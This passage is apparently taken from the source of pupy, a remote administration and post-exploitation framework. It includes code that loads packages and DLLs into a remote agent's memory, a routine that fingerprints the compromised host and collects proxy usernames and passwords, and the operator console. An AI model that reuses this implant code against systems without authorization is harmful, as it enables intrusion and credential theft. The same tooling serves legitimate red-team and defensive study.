umsgpack.loads(result)\n\n                return result\n\n            self.obtain_call = obtain_call\n\n        if self.obtain_call:\n            self.imported_modules = set(\n                as_native_string(name) for name in self.obtain_call(\n                    self.conn.modules.sys.modules.keys\n                )\n            )\n            self.cached_modules = set(\n                as_native_string(name) for name in self.obtain_call(\n                    self.pupyimporter.modules.keys\n                )\n            )\n        else:\n            self.imported_modules = set(\n                as_native_string(name) for name in obtain(\n                    self.conn.modules.sys.modules.keys()\n                )\n            )\n\n            self.cached_modules = set(\n                as_native_string(name) for name in obtain(\n                    self.pupyimporter.modules.keys()\n                )\n            )\n\n        try:\n            self.new_dlls = self.remote('pupyimporter', 'new_dlls')\n        except AttributeError:\n            self.new_dlls = False\n\n        try:\n            self.new_modules = self.remote('pupyimporter', 'new_modules')\n        except AttributeError:\n            self.new_modules = False\n\n    def load_dll(self, modpath):\n        \"\"\"\n        load some dll from memory like sqlite3.dll needed for some .pyd to work\n        Don't load pywintypes27.dll and pythoncom27.dll with this. Use\n        load_package(\"pythoncom\") instead\n        \"\"\"\n\n        name = path.basename(modpath)\n        if name in self.imported_dlls:\n            return False\n\n        buf = dependencies.dll(self.target, name)\n\n        if not buf:\n            raise ImportError('Shared object {} not found'.format(name))\n\n        if self.pupy_load_dll:\n            result = self.pupy_load_dll(name, buf)\n        else:\n            result = self.conn.modules.pupy.agent.load_dll(name, buf)\n\n        if not result:\n            raise ImportError('Couldn\\'t load shared object {}'.format(name))\n        else:\n            self.imported_dlls.add(name)\n\n        return True\n\n    def filter_new_modules(self, modules, dll, force=None, remote=False):\n        if force is None:\n            modules = set(\n                x for x in modules if x not in self.imported_modules\n            )\n\n            modules = set(\n                module for module in modules if not any(\n                    cached_module.startswith(\n                        tuple(x.format(module.replace('.', '/')) for x in (\n                            '{}.py', '{}/__init__.py', '{}.pyd', '{}.so',\n                        ))\n                    ) for cached_module in self.cached_modules\n                )\n            )\n\n        if not modules:\n            return []\n\n        if remote:\n            return modules\n\n        if dll:\n            if self.new_dlls:\n                logger.debug('Request new dlls for %s', modules)\n                return self.new_dlls(tuple(modules))\n            else:\n                return tuple(\n                    module for module in modules\n                    if module not in self.imported_dlls\n                )\n        else:\n            logger.debug('Request new modules for %s', modules)\n\n            if self.new_modules:\n                new_modules = self.new_modules(tuple(modules))\n            else:\n                new_modules = tuple(\n                    module for module in modules\n                    if not self.pupyimporter.has_module(module)\n                )\n\n            for module in modules:\n                if module not in new_modules:\n                    self.imported_modules.add(module)\n                    logger.debug('Add to imported_modules cache: %s', module)\n\n            if force is not None:\n                for module in modules:\n                    if module not in new_modules:\n                        force.add(module)\n                        logger.debug('Add to new_modules: %s', module)\n\n                return modules\n            else:\n                return new_modules\n\n    def invalidate_packages(self, packages):\n        if isinstance(packages, basestring):\n            packages = [packages]\n\n        invalidated = False\n\n        with self.remotes_lock:\n            for module in packages:\n                self.pupyimporter.invalidate_module(module)\n\n                for m in list(self.remotes):\n                    if m == module or m.startswith(module+'.'):\n                        invalidated = True\n                        del self.remotes[m]\n\n                to_remove = set()\n                for m in self.imported_modules:\n                    if m == module or m.startswith(module+'.'):\n                        invalidated = True\n                        to_remove.add(m)\n\n                for m in to_remove:\n                    self.imported_modules.remove(m)\n\n                to_remove = set()\n                for m in self.cached_modules:\n                    if m == module or m.startswith(module+'.'):\n                        invalidated = True\n                        to_remove.add(m)\n\n                for m in to_remove:\n                    self.cached_modules.remove(m)\n\n        return invalidated\n\n    def load_package(\n        self, requirements, force=False, remote=False, new_deps=[],\n            honor_ignore=True, target=None):\n        try:\n            forced = None\n            if force:\n                forced = set()\n            logger.debug(\"target: %s\", self.target)\n            logger.debug(\"requirements: %s\", requirements)\n            packages, contents, dlls = dependencies.package(\n                self.target, requirements,\n                remote=remote,\n                honor_ignore=honor_ignore,\n                filter_needed_cb=lambda modules, dll: self.filter_new_modules(\n                    modules, dll, forced, remote\n                )\n            )\n\n            self.cached_modules.update(contents)\n\n        except dependencies.NotFoundError as e:\n            raise ValueError('Module not found: {}'.format(e))\n\n        if remote:\n            logger.info(\n                'load_package(%s) -> p:%s d:%s',\n                requirements,\n                len(packages) if packages else None,\n                len(dlls) if dlls else None\n            )\n\n            return packages, dlls\n\n        if not contents and not dlls:\n            return False\n\n        if dlls:\n            if self.pupy_load_dll:\n                for name, blob in dlls:\n                    self.pupy_load_dll(name, blob)\n            else:\n                for name, blob in dlls:\n                    self.conn.modules.pupy.load_dll(name, blob)\n\n            if not contents:\n                return True\n\n        if not contents:\n            return False\n\n        if forced:\n            self.invalidate_packages(forced)\n\n        logger.info('Upload packages bundle, size=%d', len(packages))\n        self.remote_add_package(\n            packages,\n            compressed=True,\n            # Use None to prevent import-then-clean-then-search behavior\n            name=(\n                None if type(requirements) != str else requirements\n            )\n        )\n\n        new_deps.extend(contents)\n        return True\n\n    def unload_package(self, module_name):\n        if not module_name.endswith(('.so', '.dll', '.pyd')):\n            self.remote_invalidate_module(module_name)\n\n    def remote_load_package(self, module_name):\n        module_name = as_native_string(module_name)\n\n        logger.info('remote_load_package for %s started', module_name)\n\n        try:\n            return self.load_package(module_name, remote=True)\n\n        except dependencies.NotFoundError:\n            logger.info('remote_load_package for %s failed', module_name)\n            return None, None\n\n        finally:\n            logger.info('remote_load_package for %s completed', module_name)\n\n    def remote_print_error(self, msg):\n        self.pupsrv.handler.display_warning(msg)\n"
  },
  {
    "path": "pupy/pupylib/PupyClientInitializer.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport platform\nimport getpass\nimport uuid\nimport sys\nimport os\nimport logging\nimport socket\nimport pupy.agent as pupy\n\n\n\ndef _as_unicode(x):\n    if isinstance(x, bytes):\n        try:\n            return x.decode(sys.getfilesystemencoding())\n        except UnicodeError:\n            try:\n                return x.decode('UTF-8')\n            except UnicodeError:\n                return x.decode('latin1')\n\n    return x\n\n\n# Restore write/stdout/stderr\n\n\nif not hasattr(os, 'real_write'):\n    if type(os.write).__name__ == 'builtin_function_or_method':\n        setattr(os, 'real_write', os.write)\n\n\nallowed_std = ('file', 'Blackhole', 'NoneType')\n\n\nif not hasattr(sys, 'real_stdout') and type(\n        sys.stdout).__name__ in allowed_std:\n    setattr(sys, 'real_stdout', sys.stdout)\n\n\nif not hasattr(sys, 'real_stderr') and type(\n        sys.stderr).__name__ in allowed_std:\n    setattr(sys, 'real_stderr', sys.stderr)\n\n\nif not hasattr(sys, 'real_stdin') and type(\n        sys.stdin).__name__ in allowed_std:\n    setattr(sys, 'real_stdin', sys.stdin)\n\n\nif not hasattr(os, 'stdout_write'):\n    def stdout_write(fd, s):\n        if fd == 1:\n            return sys.stdout.write(s)\n        elif fd == 2:\n            return sys.stderr.write(s)\n        else:\n            return os.real_write(fd, s)\n\n    setattr(os, 'stdout_write', stdout_write)\n\n\ndef redirect_stdo(stdout, stderr):\n    if not hasattr(sys, 'real_stdout'):\n        setattr(sys, 'real_stdout', sys.stdout)\n\n    if not hasattr(sys, 'real_stderr'):\n        setattr(sys, 'real_stderr', sys.stdout)\n\n    sys.stdout = stdout\n    sys.stderr = stderr\n    os.write = os.stdout_write\n\n\ndef redirect_stdio(stdin, stdout, stderr):\n    if not hasattr(sys, 'real_stdin'):\n        setattr(sys, 'real_stdin', sys.stdin)\n\n    sys.stdin = stdin\n    redirect_stdo(stdout, stderr)\n\n\ndef reset_stdo():\n    if hasattr(sys, 'real_stdout'):\n        sys.stdout = sys.real_stdout\n\n    if hasattr(sys, 'real_stderr'):\n        sys.stderr = sys.real_stderr\n\n    os.write = os.real_write\n\n\ndef reset_stdio():\n    if hasattr(sys, 'real_stdin'):\n        sys.stdout = sys.real_stdin\n\n    reset_stdo()\n\n\ndef get_integrity_level():\n    '''from http://www.programcreek.com/python/example/3211/ctypes.c_long'''\n\n    if sys.platform != 'win32':\n        if os.geteuid() != 0:\n            return \"Medium\"\n        else:\n            return \"High\"\n\n    import ctypes\n\n    mapping = {\n        0x0000: u'Untrusted',\n        0x1000: u'Low',\n        0x2000: u'Medium',\n        0x2100: u'Medium high',\n        0x3000: u'High',\n        0x4000: u'System',\n        0x5000: u'Protected process',\n    }\n\n    BOOL = ctypes.c_long\n    DWORD = ctypes.c_ulong\n    HANDLE = ctypes.c_void_p\n\n    class SID_AND_ATTRIBUTES(ctypes.Structure):\n        _fields_ = [\n            ('Sid', ctypes.c_void_p),\n            ('Attributes', DWORD),\n        ]\n\n    class TOKEN_MANDATORY_LABEL(ctypes.Structure):\n        _fields_ = [\n            ('Label', SID_AND_ATTRIBUTES),\n        ]\n\n    TOKEN_READ = DWORD(0x20008)\n    TokenIntegrityLevel = ctypes.c_int(25)\n    ERROR_INSUFFICIENT_BUFFER = 122\n\n    kernel32 = ctypes.windll.WinDLL('kernel32')\n    advapi32 = ctypes.windll.WinDLL('advapi32')\n\n    GetLastError = kernel32.GetLastError\n    GetLastError.argtypes = ()\n    GetLastError.restype = DWORD\n\n    CloseHandle = kernel32.CloseHandle\n    CloseHandle.argtypes = (HANDLE,)\n\n    GetCurrentProcess = kernel32.GetCurrentProcess\n    GetCurrentProcess.argtypes = ()\n    GetCurrentProcess.restype = ctypes.c_void_p\n\n    OpenProcessToken = advapi32.OpenProcessToken\n    OpenProcessToken.argtypes = (\n            HANDLE, DWORD, ctypes.POINTER(HANDLE))\n    OpenProcessToken.restype = BOOL\n\n    GetTokenInformation = advapi32.GetTokenInformation\n    GetTokenInformation.argtypes = (\n            HANDLE, ctypes.c_long, ctypes.c_void_p,\n            DWORD, ctypes.POINTER(DWORD)\n    )\n    GetTokenInformation.restype = BOOL\n\n    GetSidSubAuthorityCount = advapi32.GetSidSubAuthorityCount\n    GetSidSubAuthorityCount.argtypes = (\n        ctypes.c_void_p,\n    )\n    GetSidSubAuthorityCount.restype = ctypes.POINTER(ctypes.c_ubyte)\n\n    GetSidSubAuthority = advapi32.GetSidSubAuthority\n    GetSidSubAuthority.argtypes = (\n        ctypes.c_void_p, DWORD\n    )\n    GetSidSubAuthority.restype = ctypes.POINTER(DWORD)\n\n    token = ctypes.c_void_p()\n    proc_handle = GetCurrentProcess()\n\n    if not OpenProcessToken(\n            proc_handle, TOKEN_READ, ctypes.byref(token)):\n        logging.error('Failed to get process token')\n        return None\n\n    if token.value == 0:\n        logging.error('Got a NULL token')\n        return None\n\n    try:\n        info_size = DWORD()\n        if GetTokenInformation(\n            token, TokenIntegrityLevel, ctypes.c_void_p(),\n                info_size, ctypes.byref(info_size)):\n            logging.error('GetTokenInformation() failed expectation')\n            return None\n\n        if info_size.value == 0:\n            logging.error('GetTokenInformation() returned size 0')\n            return None\n\n        dwLastError = GetLastError()\n\n        if dwLastError != ERROR_INSUFFICIENT_BUFFER:\n\n            logging.error(\n                'GetTokenInformation(): Unknown error: %d',\n                dwLastError\n            )\n            return None\n\n        token_info = TOKEN_MANDATORY_LABEL()\n        ctypes.resize(token_info, info_size.value)\n\n        if not GetTokenInformation(\n            token, TokenIntegrityLevel, ctypes.byref(token_info),\n                info_size, ctypes.byref(info_size)):\n\n            logging.error(\n                'GetTokenInformation(): Unknown error with buffer size %d: %d',\n                info_size.value, GetLastError()\n            )\n            return None\n\n        p_sid_size = GetSidSubAuthorityCount(token_info.Label.Sid)\n        res = GetSidSubAuthority(\n            token_info.Label.Sid, p_sid_size.contents.value - 1\n        )\n        value = res.contents.value\n\n        return mapping.get(value) or u'0x%04x' % value\n\n    finally:\n        CloseHandle(token)\n\n\ndef getUACLevel():\n    if sys.platform != 'win32':\n        return 'N/A'\n\n    from _winreg import (\n        ConnectRegistry, HKEY_LOCAL_MACHINE, OpenKey,\n        EnumValue, CloseKey\n    )\n\n    consentPromptBehaviorAdmin = None\n    enableLUA = None\n    promptOnSecureDesktop = None\n\n    try:\n        Registry = ConnectRegistry(None, HKEY_LOCAL_MACHINE)\n        RawKey = OpenKey(\n            Registry,\n            'SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System'\n        )\n\n        i = 0\n\n        while True:\n            try:\n                name, value, type = EnumValue(RawKey, i)\n                if name == \"ConsentPromptBehaviorAdmin\":\n                    consentPromptBehaviorAdmin = value\n                elif name == \"EnableLUA\":\n                    enableLUA = value\n                elif name == \"PromptOnSecureDesktop\":\n                    promptOnSecureDesktop = value\n\n                i += 1\n\n            except WindowsError:\n                break\n\n    except Exception:\n        return \"?\"\n\n    finally:\n        CloseKey(RawKey)\n\n    if consentPromptBehaviorAdmin == 2 and enableLUA == 1 and \\\n            promptOnSecureDesktop == 1:\n        return \"3/3\"\n    elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and \\\n            promptOnSecureDesktop == 1:\n        return \"2/3\"\n    elif consentPromptBehaviorAdmin == 5 and enableLUA == 1 and \\\n            promptOnSecureDesktop == 0:\n        return \"1/3\"\n    elif enableLUA == 0:\n        return \"0/3\"\n    else:\n        return \"?\"\n\n\ndef GetUserName():\n    from ctypes import (\n        windll, WinError, create_unicode_buffer,\n        byref, c_uint32, GetLastError\n    )\n\n    DWORD = c_uint32\n    nSize = DWORD(0)\n    windll.secur32.GetUserNameExW(2, None, byref(nSize))\n    error = GetLastError()\n    ERROR_INSUFFICIENT_BUFFER = 122\n    ERROR_MORE_DATA_AVAILABLE = 234\n\n    if error not in (ERROR_INSUFFICIENT_BUFFER, ERROR_MORE_DATA_AVAILABLE):\n        raise WinError(error)\n\n    lpBuffer = create_unicode_buffer('', nSize.value + 1)\n    nSize = DWORD(nSize.value + 1)\n    success = windll.secur32.GetUserNameExW(2, lpBuffer, byref(nSize))\n\n    if not success:\n        raise WinError(GetLastError())\n\n    return lpBuffer.value\n\n\ndef get_uuid():\n    user = None\n    hostname = None\n    node = None\n    plat = None\n    release = None\n    version = None\n    machine = None\n    macaddr = None\n    pid = None\n    proc_arch = None\n    proc_path = sys.executable\n    cmdline = None\n\n    if hasattr(sys, 'real_argv'):\n        cmdline = ' '.join(sys.real_argv)\n    elif sys.argv:\n        cmdline = ' '.join(sys.argv)\n    else:\n        cmdline = proc_path\n\n    uacLevel = None\n    integrity_level = None\n\n    try:\n        if sys.platform == 'win32':\n            user = _as_unicode(GetUserName())\n        else:\n            user = _as_unicode(getpass.getuser())\n    except Exception as e:\n        logging.exception(e)\n        user = '?'\n\n    try:\n        hostname = _as_unicode(platform.node())\n        if sys.platform == 'win32' and user.startswith(hostname + '\\\\'):\n            user = user.split('\\\\', 1)[1]\n    except Exception:\n        pass\n\n    try:\n        hostname = socket.getfqdn().lower()\n        if hostname.endswith(('.localdomain', '.localhost')):\n            hostname, _ = hostname.rsplit('.', 1)\n    except Exception:\n        pass\n\n    try:\n        version = platform.platform()\n    except Exception:\n        pass\n\n    try:\n        plat = platform.system()\n        if plat == 'Java':\n            # Jython!\n            if hasattr(sys, 'system_java'):\n                plat = sys.system_java\n            else:\n                jsystem = sys.platform.getshadow()\n\n                # Fix this crap\n                setattr(sys, 'platform', jsystem)\n\n                if jsystem == 'linux2':\n                    plat = 'Linux+Java'\n                elif jsystem == 'win32':\n                    plat = 'Windows+Java'\n                else:\n                    plat = jsystem + '+Java'\n\n                setattr(sys, 'system_java', plat)\n\n                import ctypes.util\n                plat += '+JyNI'\n\n                setattr(sys, 'system_java', plat)\n\n                del ctypes.util\n\n    except Exception:\n        pass\n\n    try:\n        release = platform.release()\n    except Exception:\n        pass\n\n    try:\n        version = platform.version()\n    except Exception:\n        pass\n\n    try:\n        machine = platform.machine()\n    except Exception:\n        pass\n\n    try:\n        pid = os.getpid()\n    except Exception:\n        pass\n\n    try:\n        osname = os.name\n    except Exception:\n        pass\n\n    try:\n        proc_arch = platform.architecture()[0]\n    except Exception:\n        pass\n\n    try:\n        node = '{:012x}'.format(uuid.getnode())\n        macaddr = ':'.join(node[i:i+2] for i in range(0, 12, 2))\n    except Exception:\n        pass\n\n    try:\n        uacLevel = getUACLevel()\n    except Exception:\n        uacLevel = \"?\"\n\n    try:\n        integrity_level = get_integrity_level()\n    except Exception:\n        integrity_level = \"?\"\n\n    try:\n        if hasattr(pupy, 'cid'):\n            cid = pupy.cid\n        elif hasattr(pupy, 'client'):\n            cid = pupy.client.cid\n    except:\n        cid = None\n\n    proxy = None\n    try:\n        from pupy.network.lib.proxies import LAST_PROXY, has_wpad\n        if hasattr(pupy, 'client') and pupy.client.connection_info.get(\n                'proxies', []):\n            try:\n                proxy = ' -> '.join(\n                    '{}://{}{}'.format(\n                        proxy.type,\n                        '{}:{}@'.format(\n                            proxy.username, proxy.password\n                        ) if proxy.username or proxy.password else '',\n                        proxy.addr\n                    ) for proxy in pupy.client.connection_info['proxies']\n                )\n            except Exception as e:\n                proxy = str(e)\n\n        elif LAST_PROXY:\n            proxy = tuple([\n                x for x in LAST_PROXY if x\n            ])\n        elif has_wpad:\n            proxy = 'wpad'\n\n    except ImportError:\n        proxy = None\n\n    try:\n        external_ip = None\n\n        from pupy.network.lib.online import LAST_EXTERNAL_IP\n        if LAST_EXTERNAL_IP:\n            external_ip = str(LAST_EXTERNAL_IP)\n    except ImportError:\n        external_ip = None\n\n    return {\n        'user': user,\n        'hostname': hostname,\n        'node': node,\n        'platform': plat,\n        'release': release,\n        'version': version,\n        'os_arch': machine,\n        'os_name': osname,\n        'node': node,\n        'macaddr': macaddr,\n        'pid': pid,\n        'proc_arch': proc_arch,\n        'exec_path': proc_path,\n        'cmdline': cmdline,\n        'uac_lvl': uacLevel,\n        'intgty_lvl': integrity_level,\n        'cid': cid,\n        'proxy': proxy,\n        'external_ip': external_ip\n    }\n"
  },
  {
    "path": "pupy/pupylib/PupyCmd.py",
    "content": "# -*- coding: utf-8 -*-\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or\n# without modification, are permitted provided that the following\n# conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its\n# contributors may be used to endorse or promote products derived\n# from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\nimport sys\nimport cmd\nimport os\nimport os.path\nimport traceback\nimport time\n\nimport termios\nimport tty\nimport pty\nimport select\nimport fcntl\nimport array\nimport readline\nimport logging\n\nfrom threading import Thread, Event, Lock\nfrom subprocess import Popen, PIPE, STDOUT\n\nfrom pupy.network.lib.base_launcher import LauncherError\n\nfrom .PupyErrors import PupyModuleExit, PupyModuleError, PupyModuleUsageError\nfrom .PupyModule import (\n    REQUIRE_NOTHING, REQUIRE_REPL, REQUIRE_TERMINAL\n)\nfrom .PupyCompleter import CompletionContext\nfrom .PupyVersion import BANNER, UPSTREAM, DISCLAIMER\nfrom .PupyOutput import (\n    Line, Color, Title, NewLine, Info,\n    ServiceInfo, Warn, Error, Success,  Indent\n)\n\nfrom .utils.term import (\n    colorize, as_term_bytes, consize, fix_stdout,\n    SHADOW_SCREEN_TO, SHADOW_SCREEN_FROM,\n    CUR_LEFT, STOR_CUR, LOAD_CUR, DEL_RIGHT,\n    DEFAULT_MULTIBYTE_CP\n)\n\nfrom .PupySignalHandler import set_signal_winch\n\nfrom pupy.commands import Commands, InvalidCommand\n\nfrom termios import TCSANOW\n\nfrom . import getLogger\nlogger = getLogger('cmd')\n\nif sys.version_info.major > 2:\n    xrange = range\n\n    def bm_byte(x):\n        return bytes((x,))\n\nelse:\n    def bm_byte(x):\n        return x\n\n\nclass ObjectStreamPipeConsumer(Thread):\n    __slots__ = (\n        'pipe', '_write', '_nocrlf',\n        '_write_lock', '_read_lock'\n    )\n\n    def __init__(self, pipe, write, nocrlf):\n        self.pipe = Popen(\n            pipe, shell=True,\n            stdin=PIPE, stdout=PIPE, stderr=STDOUT\n        )\n        self._write = write\n        self._nocrlf = nocrlf\n        self._write_lock = Lock()\n        self._read_lock = Lock()\n\n        super(ObjectStreamPipeConsumer, self).__init__()\n        self.daemon = True\n\n    def write(self, message):\n        text = as_term_bytes(message)\n        text = text.strip(' ')\n\n        if not text:\n            return\n\n        if not self._nocrlf:\n            text += '\\n'\n\n        with self._write_lock:\n            if not isinstance(text, bytes):\n                text = text.encode('utf-8')\n\n            self.pipe.stdin.write(text)\n\n    def close(self):\n        with self._write_lock:\n            self.pipe.stdin.close()\n\n        with self._read_lock:\n            self.pipe.wait()\n\n    def run(self):\n        while True:\n            with self._read_lock:\n                chunk = self.pipe.stdout.read()\n\n            if not chunk:\n                break\n\n            self._write(chunk)\n\n\nclass ObjectStream(object):\n    __slots__ = ('_buffer', '_display', '_stream', '_pipe', '_pipe_cmd')\n\n    def __init__(self, display=None, stream=False, pipe=None):\n        self._buffer = []\n        self._display = display\n        self._stream = stream\n        self._pipe_cmd = pipe\n        self._pipe = None\n\n    def write(self, data):\n        if self._pipe_cmd:\n            if self._pipe is None:\n                self._pipe = ObjectStreamPipeConsumer(\n                    self._pipe_cmd,\n                    self._display if self._display else self._buffer.append,\n                    self._stream\n                )\n                self._pipe.start()\n\n            self._pipe.write(data)\n\n        elif self._display:\n            self._display(data, nocrlf=self._stream)\n        else:\n            self._buffer.append(data)\n\n    def close(self):\n        if self._pipe:\n            self._pipe.close()\n            self._pipe.join()\n            self._pipe = None\n\n    def flush(self):\n        pass\n\n    def getvalue(self):\n        self.close()\n\n        blocks = self._buffer\n        self._buffer = []\n        return blocks\n\n    @property\n    def is_stream(self):\n        return self._stream\n\n    def __nonzero__(self):\n        return bool(self._buffer)\n\n\nclass IOGroup(object):\n    __slots__ = ('_stdin', '_stdout', '_logger', '_pipe')\n\n    def __init__(self, stdin, stdout, logger=None, pipe=None):\n        self._stdin = stdin\n        self._stdout = stdout\n        self._logger = logger\n        self._pipe = None\n\n        if pipe:\n            self._pipe = Popen(\n                pipe, shell=True,\n                stdout=stdout, stdin=PIPE, stderr=STDOUT\n            )\n\n            self._stdout = self._pipe.stdin\n\n    @property\n    def stdin(self):\n        return self._stdin\n\n    @property\n    def stdout(self):\n        return self._stdout\n\n    def set_logger(self, logger):\n        if self._logger:\n            self._logger.close()\n\n        self._logger = logger\n\n    def set_title(self, title):\n        pass\n\n    def as_bytes(self, msg):\n        return as_term_bytes(msg)\n\n    def close(self):\n        if self._pipe:\n            self._pipe.communicate()\n\n        if isinstance(self._stdout, ObjectStream):\n            self._stdout.close()\n\n    @property\n    def consize(self):\n        return 80, 25\n\n\nclass RawTerminal(IOGroup):\n    __slots__ = (\n        '_active',\n        '_specials',\n        '_special_state',\n        '_special_activated',\n        '_shadow_screen',\n        '_last_window_size',\n        '_on_winch',\n        '_closed',\n        '_tc_settings',\n        '_winch_handler',\n        '_stdin_fd',\n        '_stdout_fd'\n    )\n\n    def __init__(self, stdin, stdout, shadow_screen=True):\n        self._stdin = stdin\n        self._stdout = stdout\n        self._specials = {}\n        self._on_winch = None\n        self._active = False\n        self._tc_settings = None\n        self._winch_handler = None\n        self._shadow_screen = shadow_screen\n\n        self._stdin_fd = None\n        self._special_state = b''\n        self._special_activated = False\n\n        self._last_window_size = None\n\n    def _get_window_size(self):\n        buf = array.array('H', [0, 0, 0, 0])\n        fcntl.ioctl(pty.STDOUT_FILENO, termios.TIOCGWINSZ, buf, True)\n        return buf[0], buf[1], buf[2], buf[3]\n\n    @property\n    def window_size(self):\n        if self._last_window_size is None:\n            self._last_window_size = self._get_window_size()\n\n        return self._last_window_size\n\n    def _on_sigwinch(self, signum, frame):\n        self._last_window_size = self._get_window_size()\n\n        if self._on_winch is not None:\n            self._on_winch(*self._last_window_size)\n\n    def _stdin_read(self):\n        buf = b''\n        while self._active:\n            r, _, _ = select.select([self._stdin], [], [], 0.5)\n            if not r:\n                continue\n\n            buf_ = array.array('i', [0])\n\n            if fcntl.ioctl(self._stdin, termios.FIONREAD, buf_, 1) == -1:\n                break\n\n            if not buf_[0]:\n                continue\n\n            buf += os.read(self._stdin_fd, buf_[0])\n            if buf:\n                break\n\n        return buf\n\n    def __iter__(self):\n        self._on_sigwinch(None, None)\n\n        while self._active:\n            buf = self._stdin_read()\n            if not self._specials:\n                if self._active and buf:\n                    yield buf\n            else:\n                self._special_state += buf\n\n                data_buf = b''\n\n                while self._special_state:\n                    again = False\n\n                    data_buf = b''\n                    special_buf = b''\n\n                    for b in self._special_state:\n                        b = bm_byte(b)\n\n                        if self._special_activated:\n                            if not special_buf and b != b'~':\n                                data_buf += b\n                                if b == b'\\r':\n\n                                    yield data_buf\n                                    self._special_state = self._special_state[\n                                        len(data_buf):]\n\n                                    data_buf = b''\n                                    again = True\n                                    break\n                                else:\n                                    self._special_activated = False\n                                    continue\n                            else:\n\n                                special_buf += b\n                                if special_buf in self._specials:\n                                    cb = self._specials[special_buf]\n                                    cb(self)\n                                    again = True\n\n                                    self._special_state = self._special_state[\n                                        len(special_buf):]\n                                    special_buf = b''\n                                    self._special_activated = False\n                                    break\n                                elif not any([\n                                            x.startswith(special_buf)\n                                            for x in self._specials\n                                        ]):\n                                    data_buf += special_buf\n                                    special_buf = b''\n                                    self._special_activated = False\n                        else:\n                            data_buf += b\n                            if b == b'\\r':\n                                self._special_activated = True\n\n                                yield data_buf\n                                self._special_state = self._special_state[\n                                    len(data_buf):]\n\n                                data_buf = b''\n                                again = True\n                                break\n\n                    if not again:\n                        break\n\n            if data_buf:\n\n                self._special_state = self._special_state[len(data_buf):]\n\n                yield data_buf\n\n    def __enter__(self):\n        self._stdin_fd = self._stdin.fileno()\n        self._stdout_fd = self._stdout.fileno()\n\n        self._tc_settings = termios.tcgetattr(self._stdin_fd)\n        tty.setraw(self._stdin_fd, TCSANOW)\n\n        if self._on_winch:\n            self._winch_handler = set_signal_winch(self._on_sigwinch)\n\n        if self._shadow_screen:\n            self._stdout.write(SHADOW_SCREEN_TO)\n\n        self._active = True\n\n    def __exit__(self, type, value, tb):\n        self._active = False\n\n        termios.tcsetattr(self._stdin_fd, termios.TCSADRAIN, self._tc_settings)\n\n        if self._on_winch:\n            set_signal_winch(self._winch_handler)\n\n        if self._shadow_screen:\n            self._stdout.write(SHADOW_SCREEN_FROM)\n\n    def set_on_winch(self, on_winch):\n        self._on_winch = on_winch\n\n    def set_mapping(self, sequence, on_sequence):\n        if not isinstance(sequence, bytes):\n            sequence = sequence.encode()\n\n        if not sequence or len(sequence) < 2 or not sequence.startswith(b'~'):\n            raise ValueError(\n                'Sequence should start from ~ and be at least 2 symbols'\n            )\n\n        self._specials[sequence] = on_sequence\n\n    def write(self, data):\n        if self._active:\n            os.write(self._stdout_fd, data)\n\n    def close(self):\n        self._active = False\n\n    @property\n    def consize(self):\n        return consize(self._stdout)\n\n    @property\n    def closed(self):\n        return not self._active\n\n\nclass PupyCmd(cmd.Cmd):\n    def __init__(self, pupsrv):\n        cmd.Cmd.__init__(self)\n\n        self.stdout = fix_stdout(self.stdout)\n\n\n        self.pupsrv = pupsrv\n        self.dnscnc = pupsrv.dnscnc\n        self.config = pupsrv.config\n\n        self.input = sys.stdin\n        self.output = sys.stdout\n\n        self.commands = Commands()\n\n        self.display_lock = Lock()\n\n        self.history_file = self.config.get_path(\"history\")\n\n        self.init_readline()\n\n        self._intro = [\n            Color(BANNER, 'green'),\n            Indent(Color(UPSTREAM, 'cyan')),\n            Indent(Color(DISCLAIMER, 'lightred'))\n        ]\n\n        self.prompt = colorize('>> ', 'blue', prompt=True)\n\n        self.default_filter = None\n\n        try:\n            if not self.config.getboolean('cmdline', 'display_banner'):\n                self._intro = []\n        except Exception:\n            pass\n\n        self.aliases = {}\n\n        for m, _ in self.pupsrv.get_aliased_modules():\n            self.aliases[m] = m\n\n        try:\n            for command, alias in self.config.items('aliases'):\n                logger.debug(\"Alias: %s => %s\", command, alias)\n                self.aliases[command] = alias\n\n        except Exception as e:\n            logger.exception(\n                'Error while parsing aliases from pupy.conf: %s', e\n            )\n\n        self.pupsrv.register_handler(self)\n\n        # display banner before potential error messages\n        self.display(self._make_intro().decode('utf8'))\n\n        self.intro=\"\"\n\n    def _make_intro(self):\n        return b'\\n'.join(\n            as_term_bytes(x) for x in self._intro\n        )\n\n    def print_motd(self, motd={}):\n        for ok in motd.get('ok', []):\n            self.display_srvinfo(ok)\n\n        for fail in motd.get('fail', []):\n            self.display_error(fail)\n\n    def default(self, line):\n        return self.execute(line)\n\n    def inject(self, line, clients_filter, message=None):\n        self.display_srvinfo(message or 'Inject: {}'.format(line))\n        self.execute(line, clients_filter)\n        self.display_srvinfo('Action complete')\n\n    def onecmd(self, 